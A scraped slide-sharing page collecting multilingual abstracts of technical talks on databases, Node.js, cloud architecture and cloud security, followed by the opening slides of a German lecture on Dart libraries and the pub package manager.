Dies ist der zweite Teil der Tour de Dart. Der erste Teil hat die Sprache Dart an sich betrachtet. Dieser zweite Teil betrachtet erweiterte Aspekte wie:
Das Library System von Dart und den zugehörigen Paketmanager pub. Die asynchrone Programmierung mittels Streams, Futures und Isolates. File I/O mit Dart. Zugriff auf den DOM-Tree mittels Selektoren sowie Event Handling (Client side). Server und Client side Programmierung unter Nutzung von HttpServer, dem Dart webframework Start und Websockets. Datenkonvertierungen (HTML escaping, XSS prevention, decoding and encoding of JSON, base64 encoding and decoding, hashfunction (CryptoUtils)).
Este trabalho cita alguns exemplos de métricas e por que usá-las em projetos de software. inclui também sugestões de ferramentas que auxiliam na coleta de informações de métricas de código.
Bases de Données non relationnelles, NoSQL (Introduction) 1er coursHatim CHAHDI
Ce premier cours introduit les systèmes de stockages NoSQL. L'objectif est d'introduire les alternatives de stockages disponibles et de sensibiliser sur les spécificités de chacun des paradigmes de stockage.
Les BD orientées graphes sont aussi présentées dans la deuxième partie du cours avec une étude du système Neo4j.
Apache Cassandra - Concepts et fonctionnalitésRomain Hardouin
Apache Cassandra - Concepts et fonctionnalités, 25/02/2014
Présentation de Cassandra pour le premier évènement "Lyon Cassandra Users" (organisé par DataStax & Zenika).
* Présentation de Cassandra
* Concepts clés (Théorie & Architecture)
* Installation
* Les outils DataStax : DevCenter et OpsCenter
* Modèle de données
* Requêtes
Este trabalho cita alguns exemplos de métricas e por que usá-las em projetos de software. inclui também sugestões de ferramentas que auxiliam na coleta de informações de métricas de código.
Bases de Données non relationnelles, NoSQL (Introduction) 1er coursHatim CHAHDI
Ce premier cours introduit les systèmes de stockages NoSQL. L'objectif est d'introduire les alternatives de stockages disponibles et de sensibiliser sur les spécificités de chacun des paradigmes de stockage.
Les BD orientées graphes sont aussi présentées dans la deuxième partie du cours avec une étude du système Neo4j.
Apache Cassandra - Concepts et fonctionnalitésRomain Hardouin
Apache Cassandra - Concepts et fonctionnalités, 25/02/2014
Présentation de Cassandra pour le premier évènement "Lyon Cassandra Users" (organisé par DataStax & Zenika).
* Présentation de Cassandra
* Concepts clés (Théorie & Architecture)
* Installation
* Les outils DataStax : DevCenter et OpsCenter
* Modèle de données
* Requêtes
Ce Support explique quelques concepts de base de NodeJS et montre comment mettre en oeuvre la technologie NodeJS pour développer la partie Backend d'une application.
Les vidéos des démonstrations sont publiées sur les adresse suivantes :
- https://www.youtube.com/watch?v=-X_C1tS5-9Y
- https://www.youtube.com/watch?v=rE-xRH28m0s
- https://www.youtube.com/watch?v=tnxjkTvWoKA
Cette série explique les éléments suivants :
- Architecture Web
- Modèles Multi-Threads avec les entrées sorties bloquantes
- Modèles Single Thread avec les entrées sortie non bloquantes
-Technologie Node JS
- Comment créer une simple application Node JS avec java Script
- Architecture du Framwork Express
- Comment créer une application NodeJS avec Type Script
- Comment écrire des tests unitaires avec Jest
- Quelques concepts sur MongoDb
- Comment Créer une API Rest avec NodeJS, Express et MongoDb
- Comment tester l'API Rest
- Comment Créer la partie FrontEnd avec Angular.
Même si la qualité audio n'est pas bonne, ses vidéos peuvent aider ceux qui débutent dans NodeJS en attendant d'autres vidéos avec plus qualité audio et de contenu.
Bonne lecture
Forth chapter of the lecture Unreal Engine Basics taught at SAE Institute Hamburg.
- Getting familiar with behavior trees in general
- Learning how to set up and use behavior trees in Unreal Engine
- Learning about the very basics of the Unreal Engine navigation system
Quand utiliser MongoDB … Et quand vous en passer…MongoDB
> Qu'est-ce que MongoDB ?
> À quoi sert MongoDB ?
> Les points forts de MongoDB... Les points à améliorer
> Ce que les clients peuvent faire et ne pas faire avec MongoDB
> Cas d'utilisation inhabituels
> Quand utiliser MongoDB
Maximum Overdrive: Tuning the Spark Cassandra Connector (Russell Spitzer, Dat...DataStax
Worried that you aren't taking full advantage of your Spark and Cassandra integration? Well worry no more! In this talk we'll take a deep dive into all of the available configuration options and see how they affect Cassandra and Spark performance. Concerned about throughput? Learn to adjust batching parameters and gain a boost in speed. Always running out of memory? We'll take a look at the various causes of OOM errors and how we can circumvent them. Want to take advantage of Cassandra's natural partitioning in Spark? Find out about the recent developments that let you perform shuffle-less joins on Cassandra-partitioned data! Come with your questions and problems and leave with answers and solutions!
About the Speaker
Russell Spitzer Software Engineer, DataStax
Russell Spitzer received a Ph.D in Bio-Informatics before finding his deep passion for distributed software. He found the perfect outlet for this passion at DataStax where he began on the Automation and Test Engineering team. He recently moved from finding bugs to making bugs as part of the Analytics team where he works on integration between Cassandra and Spark as well as other tools.
This slide explores the basics of UNIX operating system - What's UNIX? What are different types of UNIX OS? What is difference between UNIX and Linux? and much more..
Diese Präsentation gibt einen umfassenden Überblick über die Programmiersprache Dart und ihre Konzepte. Um diesen Überblick schnell erfassen zu können, ist es hilfreich eine Programmiersprache wie bspw. Java zu beherrschen sowie die Konzepte der Objektorientierung zu kennen.
Im Teil I wird die Sprache Dart an sich dargestellt. Es wird ein Überblick über die optionale Typisierung, Datentypen, Funktionen, Operatoren, OO-Möglichkeiten sowie Generics in Dart gegeben.
Teil II wird sich dem Library System von Dart sowie der asynchronen Programmierung, der IO Programmierung, der DOM-Tree Programmierung, server- und clientseitiger Programmierung sowie der Konvertierung von Datenformaten widmen.
Ce Support explique quelques concepts de base de NodeJS et montre comment mettre en oeuvre la technologie NodeJS pour développer la partie Backend d'une application.
Les vidéos des démonstrations sont publiées sur les adresse suivantes :
- https://www.youtube.com/watch?v=-X_C1tS5-9Y
- https://www.youtube.com/watch?v=rE-xRH28m0s
- https://www.youtube.com/watch?v=tnxjkTvWoKA
Cette série explique les éléments suivants :
- Architecture Web
- Modèles Multi-Threads avec les entrées sorties bloquantes
- Modèles Single Thread avec les entrées sortie non bloquantes
-Technologie Node JS
- Comment créer une simple application Node JS avec java Script
- Architecture du Framwork Express
- Comment créer une application NodeJS avec Type Script
- Comment écrire des tests unitaires avec Jest
- Quelques concepts sur MongoDb
- Comment Créer une API Rest avec NodeJS, Express et MongoDb
- Comment tester l'API Rest
- Comment Créer la partie FrontEnd avec Angular.
Même si la qualité audio n'est pas bonne, ses vidéos peuvent aider ceux qui débutent dans NodeJS en attendant d'autres vidéos avec plus qualité audio et de contenu.
Bonne lecture
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- Getting familiar with behavior trees in general
- Learning how to set up and use behavior trees in Unreal Engine
- Learning about the very basics of the Unreal Engine navigation system
Quand utiliser MongoDB … Et quand vous en passer…MongoDB
> Qu'est-ce que MongoDB ?
> À quoi sert MongoDB ?
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> Ce que les clients peuvent faire et ne pas faire avec MongoDB
> Cas d'utilisation inhabituels
> Quand utiliser MongoDB
Maximum Overdrive: Tuning the Spark Cassandra Connector (Russell Spitzer, Dat...DataStax
Worried that you aren't taking full advantage of your Spark and Cassandra integration? Well worry no more! In this talk we'll take a deep dive into all of the available configuration options and see how they affect Cassandra and Spark performance. Concerned about throughput? Learn to adjust batching parameters and gain a boost in speed. Always running out of memory? We'll take a look at the various causes of OOM errors and how we can circumvent them. Want to take advantage of Cassandra's natural partitioning in Spark? Find out about the recent developments that let you perform shuffle-less joins on Cassandra-partitioned data! Come with your questions and problems and leave with answers and solutions!
About the Speaker
Russell Spitzer Software Engineer, DataStax
Russell Spitzer received a Ph.D in Bio-Informatics before finding his deep passion for distributed software. He found the perfect outlet for this passion at DataStax where he began on the Automation and Test Engineering team. He recently moved from finding bugs to making bugs as part of the Analytics team where he works on integration between Cassandra and Spark as well as other tools.
This slide explores the basics of UNIX operating system - What's UNIX? What are different types of UNIX OS? What is difference between UNIX and Linux? and much more..
Diese Präsentation gibt einen umfassenden Überblick über die Programmiersprache Dart und ihre Konzepte. Um diesen Überblick schnell erfassen zu können, ist es hilfreich eine Programmiersprache wie bspw. Java zu beherrschen sowie die Konzepte der Objektorientierung zu kennen.
Im Teil I wird die Sprache Dart an sich dargestellt. Es wird ein Überblick über die optionale Typisierung, Datentypen, Funktionen, Operatoren, OO-Möglichkeiten sowie Generics in Dart gegeben.
Teil II wird sich dem Library System von Dart sowie der asynchronen Programmierung, der IO Programmierung, der DOM-Tree Programmierung, server- und clientseitiger Programmierung sowie der Konvertierung von Datenformaten widmen.
Brand Club Austria - Markentag bei BENTLEY und OGILVY & MATHER in Manchester ...metaconsulting gmbh
Der 15. MarkenTag führt uns in die Industriehochburg Manchester. Zirka 30 km südlich liegt die Stadt Crewe, bekannt vor allem dafür, dass hier eine der traditionsreichsten Automarken der Welt beheimatet ist – Bentley.
Es erwartet uns wieder ein spannender Ausflug in die Welt der großen Marken. Am 5. September 2013 erwartet und einer der gefragtesten Kreativen Europas:Gerd Schulte-Döinghaus. Der Ogilvy-Creativ-Director entführt uns in einem Workshop in die Welt der Kreativtechniken. Unsere Mitglieder erwartet dabei ein mehr als interessanter und äußerst aktiver Nachmittag.
Am 6. September 2013 sind wir zu Gast bei Bentley in Crewe. Es empfängt uns Gösta Henning, Head of Marketing Europe. Neben der exklusiven Werksbesichtigung genießen wir einen Vortrag von Andrew Roberts, Head of Brand Communications, wird etwas zum Thema 'Bentley: A journey of powerful luxury'.
Fusion der Welten: Hadoop als DWH-Backend bei ProSiebeninovex GmbH
Klassische BI-Tools integrieren mit Big Data-Technologien, wie geht das am geschicktesten?
Wir stellen ein Projekt bei ProSiebenSat.1 vor, in dem wir klassische open-source ETL-Tools zur DWH-Bewirtschaftung mit Hadoop-Werkzeugen mischen. Das relationale DWH wird mit Hadoop-aggregierten Daten aus heterogenen Quellen befüllt.
Wie das alles funktioniert und welche Rolle Hadoop, das DWH, Pig und Hive dabei spielen, möchten wir in diesem Vortrag erklären.
Kleine Einführung in die Entwicklung von RESTful APIs mit Dart. Auskopplung eines Foliensatzes aus der Lehrveranstaltung Webtechnologien des Studiengangs Informatik/Softwaretechnik der Fachhochschule Lübeck.
Provisionierung von Dockerhosts und -Containern mit Terraform, Ansible und LXD auf Blech und Cloud
Lästige und aufwändige manuelle Serverinstallation kann auf einfache Art durch automatisierte Provisionierung und Konfiguration der Infrastruktur ersetzt werden. Dieser Vortrag zeigt einen Ansatz, bei dem die Definition der Infrastruktur in voll maschinenlesbarer und ausführbarer Form in einem git repo anstatt in den Köpfen der (oder des) Engineers vorhanden sind.
Es wird gezeigt, wie das Verfahren sowohl auf Blech (d.h. auf lokalen physischen Maschinen) als auch in der Cloud angewendet werden kann, und somit eine grosse Übereinstimmung zwischen Test-/Integrations- und Produktionsinfrastruktur erreicht wird.
Die vorgestellten Werkzeuge sind terraform und ansible für Provisionierung und Konfigurationsmanagement, sowie lxd (nur lokal) und docker für System- und Applikationscontainer. Die vollständige Codebasis ist auf github verfügbar, so dass alle TeilnehmerInnen auch sofort mit eigenen Experimenten loslegen können.
This presentation will show you how to use docker-compose in a practical example, discuss some alternative approaches and teach best practices (in german).
Vortrag auf dem TYPO3 Meetup 3 am 13.11.2017 bei sitegeist
über Docker Umgebungen für TYPO3 zu Präsentationszwecken und als Entwicklungsumgebung mit xdebug.
MapReduce erlaubt das verteilte Verarbeiten riesiger Datenmengen auf einer grossen Anzahl einfacher Knoten (Cluster). Kann dieses Thema in einem Enterprise-Java-Umfeld von Bedeutung sein ? Nach einer kurzen Einführung in das MapReduce Verfahren, gibt diese Session einen Überblick über die Möglichkeiten von MapReduce mit Hilfe von Apache Hadoop und diskutiert Einsatzmöglichkeiten.
Big Data verspricht den Unternehmen die 360°-Sicht auf ihre Kunden, indem die Analyse von Daten aus verschiedensten Kanälen möglich werden soll. Insbesondere in den sozialen Medien entstehen große Mengen an Text, Video und Audio. Doch wie lassen sich aus diesen "Unstructured Data" verwertbare Informationen gewinnen? Apache UIMA ist ein Framework zur Verarbeitung und inhaltlichen Analyse unstrukturierter Daten, insbesondere Text.
Dieser Vortrag bietet eine Einführung in Apache UIMA und seine Architektur. Am Beispiel wird erklärt, welche Annotationskomponenten zur Verfügung stehen und wie diese zu Pipelines kombiniert werden können. Außerdem wird eine Integration von UIMA mit Hadoop gezeigt.
Speaker: Hans-Peter Zorn
ist Big Data Scientist bei der inovex GmbH. Zuvor beschäftigte er sich am UKP Labder TU Darmstadt mit der Analyse großer Textmengen mit Hadoop.
Mehr Vorträge: https://www.inovex.de/de/content-pool/vortraege/
Inhalt: Das große DRT Document Related Technologies (ECM Enterprise Content Management) Glossar bietet eine Übersicht über die in der Branche geläufigen Begrifflichkeiten. 200 Seiten A-Z. Stand 2010. Das Glossar war ursprünglich auf der Webseite von PROJECT CONSULT recherchierfähig und verlinkt publiziert.
Die Kombination von Django als Backend und Flutter als mobile App oder Frontend ermöglicht die Entwicklung von Anwendungen in kurzer Zeit mit gut wartbarem Quellcode. Dieser Vortrag von der enterPy 22 Konferenz zeigt an Hand einer Beispielanwendung, wie das geht.
Smart like a Fox: How clever students trick dumb programming assignment asses...Nane Kratzke
This case study reports on two first-semester programming courses with more than 190 students. Both courses made use of automated assessments. We observed how students trick these systems by analysing the version history of suspect submissions. By analysing more than 3300 submissions, we revealed four astonishingly simple tricks (overfitting, evasion) and cheat-patterns (redirection, and injection) that students used to trick automated programming assignment assessment systems (APAAS). Although not the main focus of this study, it discusses and proposes corresponding counter-measures where appropriate.
Nevertheless, the primary intent of this paper is to raise problem awareness and to identify and systematise observable problem patterns in a more formal approach. The identified immaturity of existing APAAS solutions might have implications for courses that rely deeply on automation like MOOCs. Therefore, we conclude to look at APAAS solutions much more from a security point of view (code injection). Moreover, we identify the need to evolve existing unit testing frameworks into more evaluation-oriented teaching solutions that provide better trick and cheat detection capabilities and differentiated grading support.
#BTW17 on Twitter (Die Bundestagswahl 2017 auf Twitter - war der Ausgang abzu...Nane Kratzke
Es gibt erstaunlich wenig Open Access Twitter-Datensätze . Daher wurden von Juni bis September 2017 Twitter-Interaktionen mit 364 deutschen Politikern des deutschen Bundestags "mitgeschnitten" und als Open Data Datensatz für weitere Analysen aufbereitet. Im Rahmen dessen wurden etwa 120.000 Twitter User erfasst, die gemeinsam über 1.2 Mio. Twitterinteraktionen erzeugt haben. Der Vortrag stellt den Datensatz und seine Erhebungsmethode vor und geht einigen Fragen nach: Z.B. ob es "laute" und "leise" Parteien auf Twitter gibt? Ob und wie sich die politische Nähe von Twitter Nutzern zu Parteien ableiten lässt? Ob sich Twitter als Instrument für die Meinungsforschung eignet und was zu berücksichtigen ist? Und vor allem: War das Wahlergebnis bereits im Vorfeld absehbar?
About being the Tortoise or the Hare? Making Cloud Applications too Fast and ...Nane Kratzke
Cloud applications expose - beside service endpoints - also potential or actual vulnerabilities. And attackers have several advantages on their side. They can select the weapons, the point of time and the point of attack.
Very often cloud application security engineering efforts focus to harden the fortress walls but seldom assume that attacks may be successful. So, cloud applications rely on their defensive walls but seldom attack intruders actively. Biological systems are different. They accept that defensive "walls" can be breached at several layers and therefore make use of an active and adaptive defense system to attack potential intruders - an immune system. This position paper proposes such an immune system inspired approach to ensure that even undetected intruders can be purged out of cloud applications. This makes it much harder for intruders to maintain a presence on victim systems. Evaluation experiments with popular cloud service infrastructures (Amazon Web Services, Google Compute Engine, Azure and OpenStack) showed that this could minimize the undetected acting period of intruders down to minutes.
Serverless Architectures - Where have all the servers gone?Nane Kratzke
Serverless architectures refer to cloud applications that depend substantially on 3rd party services (Backend as a Service, BaaS)
or on custom code that is run in ephemeral deployment units (Function as a Service, FaaS). By moving much behavior to the front end, such architectures reduce the need for ‚always on‘ servers. Therefore, such systems can reduce operational cost and shift operational complexity to BaaS service providers at cost of vendor dependencies and (still) immaturity of supporting services and tools.
This presentation explains the term "Serverless" and how it is changing cloud application architectures. It identifies open issues, benefits and drawbacks, as well as (in-)appropriate use cases for Serverless. It closes with a curated list of Serverless services, standalone platforms and frameworks and provides a list for further reading.
There is no impenetrable system - So, why we are still waiting to get breached?Nane Kratzke
This is some input for a panel discussion about "Security and Safety in Cloud-based Systems and Services" (9th International Conference on Cloud Computing, GRIDs, and Virtualization (CLOUD COMPUTING 2018) in Barcelona, Spain in February 2018).
Although it might be hard to accept. By principle, attackers can establish footholds in our systems whenever they want (zero-day exploits). Cloud application security engineering efforts focus to harden the "fortress walls". Therefore, cloud applications rely on these defensive walls but seldom attack intruders actively. There is the somehow the need for a more reactive component. A component that could be inspired by biological systems. Biological systems consider by design that defensive "walls" can be breached at several layers. So, biological systems provide an additional active defense system to attack potential successful intruders - an immune system. Although several experts find this approach "intriguing", there are follow-up questions arising. What is about exploits that adapt to bio-inspired systems? How to protect the immune system against direct attacks? Are cloud immune systems prone to phenomenons like fever (running hot) or auto-immune diseases (self-attacking)?
Towards a Lightweight Multi-Cloud DSL for Elastic and Transferable Cloud-nati...Nane Kratzke
Cloud-native applications are intentionally designed for the cloud in order to leverage cloud platform features like horizontal scaling and elasticity – benefits coming along with cloud platforms. In addition to classical (and very often static) multi-tier deployment scenarios, cloud-native applications are typically operated on much more complex but elastic infrastructures. Furthermore, there is a trend to use elastic container platforms like Kubernetes, Docker Swarm or Apache Mesos. However, especially multi-cloud use cases are astonishingly complex to handle. In consequence, cloud-native applications are prone to vendor lock-in. Very often TOSCA-based approaches are used to tackle this aspect. But, these application topology defining approaches are limited in supporting multi-cloud adaption of a cloud-native application at runtime. In this paper, we analyzed several approaches to define cloud-native applications being multi-cloud transferable at runtime. We have not found an approach that fully satisfies all of our requirements. Therefore we introduce a solution proposal that separates elastic platform definition from cloud application definition. We present first considerations for a domain specific language for application definition and demonstrate evaluation results on the platform level showing that a cloud-native application can be transfered between different cloud service providers like Azure and Google within minutes and without downtime. The evaluation covers public and private cloud service infrastructures provided by Amazon Web Services, Microsoft Azure, Google Compute Engine and OpenStack.
We have the Bricks to Build Cloud-native Cathedrals - But do we have the mortar?Nane Kratzke
This is some input for a panel discussion about "Challenges of Cloud Computing-based Systems" I attend at the 9th International Conference on Cloud Computing, GRIDs, and Virtualization (CLOUD COMPUTING 2018) in Barcelona, Spain in February 2018.
Cloud-native applications (CNA) are build more and more often according to microservice and independent system architecture (ISA) approaches. ISA involves two architecture layers: the macro and the micro architecture layer. Software engineering outcomes on the micro layer are often distributed in a standardized form as self-contained deployment units (so called container images). There exist plenty of programming languages to implement these units: JAVA, C, C++, JavaScript, Python, R, PHP, Ruby, ... (this list is almost endless) But on the macro layer, one might mention TOSCA and little more. TOSCA is an OASIS deployment and orchestration standard language to describe a topology of cloud based web services, their components, relationships, and the processes that manage them. This works for static deployments. However, CNA are elastic, self-adaptive - almost the exact opposite of what can be defined efficiently using TOSCA. For these kind of scenarios one might mention Kubernetes or Docker Swarm as container orchestrators which are intentionally build to operate elastic services formed of containers. But these operating platforms do not provide expressive and pragmatic programming languages covering the macro layer of cloud-native applications.
So it seems there is a gap and the question arises, whether we need further (and what kind of) macro layer languages for CNA?
About an Immune System Understanding for Cloud-native Applications - Biology ...Nane Kratzke
Presentation for 9th International Conference on Cloud Computing, GRIDS, and Virtualization (CLOUD COMPUTING 2018) in Barcelona, Spain, 2018.
There is no such thing as an impenetrable system, although the penetration of systems does get harder from year to year. The median days that intruders remained undetected on victim systems dropped from 416 days in 2010 down to 99 in 2016. Perhaps because of that, a new trend in security breaches is to compromise the forensic trail to allow the intruder to remain undetected for longer in victim systems and to retain valuable footholds for as long as possible. This paper proposes an immune system inspired solution which uses a more frequent regeneration of cloud application nodes to ensure that undetected compromised nodes can be purged. This makes it much harder for intruders to maintain a presence on victim systems. Basically the biological concept of cell-regeneration is combined with the information systems concept of append-only logs. Evaluation experiments performed on popular cloud service infrastructures (Amazon Web Services, Google Compute Engine, Azure and OpenStack) have shown that between 6 and 40 nodes of elastic container platforms can be regenerated per hour. Even a large cluster of 400 nodes could be regenerated in somewhere between 9 and 66 hours. So, regeneration shows the potential to reduce the foothold of undetected intruders from months to just hours.
Der Bundestagswahlkampf 2017 auf Twitter - War der Ausgang abzusehen?Nane Kratzke
Von Juni bis September wurden Twitter-Interaktionen mit deutschen Politikern des 18. deutschen Bundestags und bundespolitisch relevanten Politikern der FDP und AfD "mitgeschnitten" und als Open Data Datensatz für weitere Analysen aufbereitet. Insgesamt wurden die Accounts von 364 Politikern verfolgt. Im Rahmen dessen wurden etwa 120.000 Twitter User erfasst, die gemeinsam über 1.2 Mio. Tweets erzeugt haben. Dies entspricht einer Stichprobe von etwa 5% des tatsächlichen Traffics auf Twitter. Die Gesamtmenge der erfassten Daten beträgt ca. 10 GB. Der Vortrag stellt erste Erkenntnisse vor, die in diesem Datensatz zu finden sind. Dabei wird einigen Fragen nachgegangen, z.B. ob es "laute" und "leise" Parteien auf Twitter gibt? Lässt sich die politische Nähe von Twitter Nutzern zu Parteien ableiten? Eignet sich Twitter als Instrument für die Meinungsforschung? Und vor allem: War das Wahlergebnis bereits im Vorfeld absehbar?
Smuggling Multi-Cloud Support into Cloud-native Applications using Elastic Co...Nane Kratzke
Elastic container platforms (like Kubernetes, Docker Swarm, Apache Mesos) fit very well with existing cloud-native application architecture approaches. So it is more than astonishing, that these already existing and open source available elastic platforms are not considered more consequently for multi-cloud approaches. Elastic container platforms provide inherent multi-cloud support that can be easily accessed. We present a solution proposal of a control process which is able to scale (and migrate as a side effect) elastic container platforms across different public and private cloud-service providers. This control loop can be used in an execution phase of self-adaptive auto-scaling MAPE loops (monitoring, analysis, planning, execution). Additionally, we present several lessons learned from our prototype implementation which might be of general interest for researchers and practitioners. For instance, to describe only the intended state of an elastic platform and let a single control process take care to reach this intended state is far less complex than to define plenty of specific and necessary multi-cloud aware workflows to deploy, migrate, terminate, scale up and scale down elastic platforms or applications.
Was die Cloud mit einem brennenden Haus zu tun hatNane Kratzke
Ein Motivationsvortrag für hybride Cloud Szenarien im Rahmen einer Veranstaltung des Computermuseums der FH Kiel und der fat it solution GmbH.
Der Vortrag beschäftigt sich mit häufig genannten Bedenken warum Cloud-basierte Geschäftsmodelle vermieden werden: Verfügbarkeit, Sicherheit, Vendor Lock-In (Fokus dieses Vortrags), Kosten.
Und was man dagegen machen kann.
What the cloud has to do with a burning house?Nane Kratzke
Cloud native applications can create enormous business growth and value in a very short amount of time. Take Instagram as one example company. It took only two years to get a net asset value of 1 billion USD. However, cloud-native applications are often characterized by a highly implicit technological dependency on hosting cloud infrastructures. What happens if you are forced to leave your cloud service provider? What happens if your cloud is burning? The project Cloud TRANSIT investigates how to design cloud-native applications and services to reduce technological dependencies on underlying cloud infrastructures.
ClouNS - A Cloud-native Application Reference Model for Enterprise ArchitectsNane Kratzke
The capability to operate cloud-native applications can create enormous business growth and value. But enterprise architects should be aware that cloud-native applications are vulnerable to vendor lock-in. We investigated cloud-native application design principles, public cloud service providers, and industrial cloud standards. All results indicate that most cloud service categories seem to foster vendor lock-in situations which might be especially problematic for enterprise architectures. This might sound disillusioning at first. However, we present a reference model for cloud-native applications that relies only on a small subset of well standardized IaaS services. The reference model can be used for codifying cloud technologies. It can guide technology identification, classification, adoption, research and development processes for cloud-native application and for vendor lock-in aware enterprise architecture engineering methodologies.
ppbench - A Visualizing Network Benchmark for MicroservicesNane Kratzke
Companies like Netflix, Google, Amazon, Twitter successfully exemplified elastic and scalable microservice architectures for very large systems. Microservice architectures are often realized in a way to deploy services as containers on container clusters. Containerized microservices often use lightweight and REST-based mechanisms. However, this lightweight communication is often routed by container clusters through heavyweight software defined networks (SDN). Services are often implemented in different programming languages adding additional complexity to a system, which might end in decreased performance. Astonishingly it is quite complex to figure out these impacts in the upfront of a microservice design process due to missing and specialized benchmarks. This contribution proposes a benchmark intentionally designed for this microservice setting. We advocate that it is more useful to reflect fundamental design decisions and their performance impacts in the upfront of a microservice architecture development and not in the aftermath. We present some findings regarding performance impacts of some TIOBE TOP 50 programming languages (Go, Java, Ruby, Dart), containers (Docker as type representative) and SDN solutions (Weave as type representative).
About Microservices, Containers and their Underestimated Impact on Network Pe...Nane Kratzke
Microservices are used to build complex applications composed of small, independent and highly decoupled processes. Recently, microservices are often mentioned in one breath with container technologies like Docker. That is why operating system virtualization experiences a renaissance in cloud computing. These approaches shall provide horizontally scalable, easily deployable systems and a high-performance alternative to hypervisors. Nevertheless, performance impacts of containers on top of hypervisors are hardly investigated. Furthermore, microservice frameworks often come along with software defined networks. This contribution presents benchmark results to quantify the impacts of container, software defined networking and encryption on network performance. Even containers, although postulated to be lightweight, show a noteworthy impact to network performance. These impacts can be minimized on several system layers. Some design recommendations for cloud deployed systems following the microservice architecture pattern are derived.
Mit Java 8 haben endlich Lambdas in den Sprachumfang von Java Einzug gehalten. Mittels Lambdas lassen sich viele Probleme kurz und prägnant ausdrücken. Vorliegende Auskopplung aus Handouts zur Vorlesung Programmieren I führt Lambdas und Streams ein und erläutert den Einsatz an vielen kleineren Beispielen.
Cloud Economics in Training and SimulationNane Kratzke
This slide presents a use case how to adopt IaaS cloud computing in higher education. It is shown that virtual labs can provide a more than 25 times cost advantage compared to classical dedicated on-premise in-house labs.
Are cloud based virtual labs cost effective? (CSEDU 2012)Nane Kratzke
Cost efficiency is an often mentioned strength of cloud computing. In times of decreasing educational budgets virtual labs provided by cloud computing might be an interesting alternative for higher education organizations or IT training facilities. This contribution analyzes the cost advantage of virtual educational labs provided via cloud computing means and compare these costs to costs of classical ed- ucational labs provided in a dedicated manner. This contribution develops a four step decision making model which might be interesting for colleges, universities or other IT training facilities planning to implement cloud based training facilities. Furthermore this contribution provides interesting findings when cloud computing has economical advantages in education and when not. The developed four step decision making model of general IaaS applicability can be used to find out whether an IaaS cloud based virtual IT lab approach is more cost efficient than a dedicated approach.
A Case Study About Cloud Based Virtual Labs
Poster presentation on 2nd International Conference on Cloud Computing and Service Sciences (CLOSER 2012).
Case study about cloud based virtual labs and corresponding cost advantage in higher education.
Overcoming Cost Intransparency of Cloud ComputingNane Kratzke
Presentation hold during Cloud Computing Conference 2011 in Noordwijkerhout, Netherlands 2011. This is presentation is about missing cost estimation models in cloud computing and presents firsts considerations how to overcome this.
1. Web-Technologien
Client- und Serverseitige Sprachen (Dart Teil II)
Le Tour de
Prof. Dr. rer. nat. Nane Kratzke
Praktische Informatik und betriebliche Informationssysteme
1
2. Prof. Dr. rer. nat.
Nane Kratzke
Praktische Informatik und
betriebliche Informationssysteme
• Raum: 17-0.10
• Tel.: 0451 300 5549
• Email: nane.kratzke@fh-luebeck.de
Prof. Dr. rer. nat. Nane Kratzke
Praktische Informatik und betriebliche Informationssysteme
2
3. Dart in a Nutshell ...
Prof. Dr. rer. nat. Nane Kratzke
Praktische Informatik und betriebliche Informationssysteme
3
• Eine optional typisierte,
• Multiprogrammierparadigmen (imperativ, non dogmatic
objektorientiert, funktional) unterstützende,
• Language VM (Virtual Machine) basierte Programmiersprache (die
ein Cross Compilation nach Javascript ermöglicht)
• für Scalable Web App Engineering,
• die sowohl In-Browser als auch On-Server (in Dart VM) ausführbar
ist.
https://www.dartlang.org/
4. Zum Nachlesen ...
Prof. Dr. rer. nat. Nane Kratzke
Praktische Informatik und betriebliche Informationssysteme
4
Chapter 1:
Quick Start
Chapter 2:
A Tour of the Dart Language
Chapter 3:
A Tour of the Dart Libraries
Chapter 4:
Tools
Chapter 5:
Walkthrough: Dart Chat
5. Le Grande Boucle
Prof. Dr. rer. nat. Nane Kratzke
Praktische Informatik und betriebliche Informationssysteme
5
Tour de Dart
• Optional Typed
• Multiparadigm
• Language VM
(JavaScript Cross
Compiled)
• In Browser and On
Server
Tour de Dart Libraries
• Library System
• Asynchronous
Programming
• Math and Random
• Browser-Based Apps
• I/O
• Decoding and
Encoding
6. Tour de Dart (in Teil I behandelt)
Kern-
Konzepte
Variablen
Built-In
Types
Kontrollfluss
Funktionen
(Methoden)
und Typedefs
Operatoren
Klassen
(OO)
Generics
Prof. Dr. rer. nat. Nane Kratzke
Praktische Informatik und betriebliche Informationssysteme
6
7. Tour de Dart Libraries (nun in Teil II)
dart:library
Das Library System
von Dart
dart:async
Asynchronous
Programming
dart:io
Files, Directories
dart:html
Manipulating the
DOM
dart:servers
HTTP Clients and
Servers
dart:convert
Decoding and
Encoding JSON,
HTML and more
Prof. Dr. rer. nat. Nane Kratzke
Praktische Informatik und betriebliche Informationssysteme
7
Und ja: Es ist noch weit bis Paris J
8. Tour de Dart Libraries
dart:library
Das Library System
von Dart
dart:async
Asynchronous
Programming
dart:io
Files, Directories
dart:html
Manipulating the
DOM
dart:servers
HTTP Clients and
Servers
dart:convert
Decoding and
Encoding JSON,
HTML and more
Prof. Dr. rer. nat. Nane Kratzke
Praktische Informatik und betriebliche Informationssysteme
8
9. Libraries
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9
Dart hat einen Paketverwaltungssystem
namens pub.
Mittels pub get ist es bspw. möglich,
dokumentierte Abhängigkeiten
zwischen Bibliotheken aufzulösen und
erforderliche Bibliotheken aus
unterschiedlichen Quellen automatisch
nachzuladen.
Pub wertet hierzu eine pubspec.yaml
Datei aus, um Abhängigkeiten zwischen
Libraries (Packages) zu verwalten.
Eigene Bibliotheken können mittels pub
publish auf Paketservern (der
Allgemeinheit) zur Verfügung gestellt
werden.
Für Client-Side Skripte bedeutet dies, dass nur eine Dart Datei in einem HTML Dokument angeben
werden muss, alle weiteren Abhängigkeiten lädt Dart bei Bedarf.
10. Eine Library definieren (I)
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10
Wie in fast allen Sprachen (bis auf JavaScript ;-) ist es auch in
Dart möglich Bibliotheken zu definieren, in denen
wiederverwendbare Funktionalitäten bereitgestellt werden
können.
Sourcen die als Libraries geladen werden können, befinden sich
per Konvention in Dart Projekten in einem lib Unterordner.
In einer pubspec.yaml Datei wird die Library für den Library
Manager pub von Dart beschrieben. Abhängigkeiten zwischen
Bibliotheken können dann durch das Dart Ökosystem einfach
ermittelt und ggf. erforderliche Anteile nachgeladen werden.
name: hellolib
author: Nane Kratzke
version: 1.0.0
description: Library to demonstrate library features of Dart.
dependencies:
math:
Datei: pubspec.yaml
11. Eine Library definieren (II)
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11
library hellolib; // Eine Library wird deklariert.
import "dart:math"; // Eine Library benötigt weitere Libraries.
part "src/hello.dart"; // Library kann aus Unterteilen bestehen.
part "src/goodbye.dart";
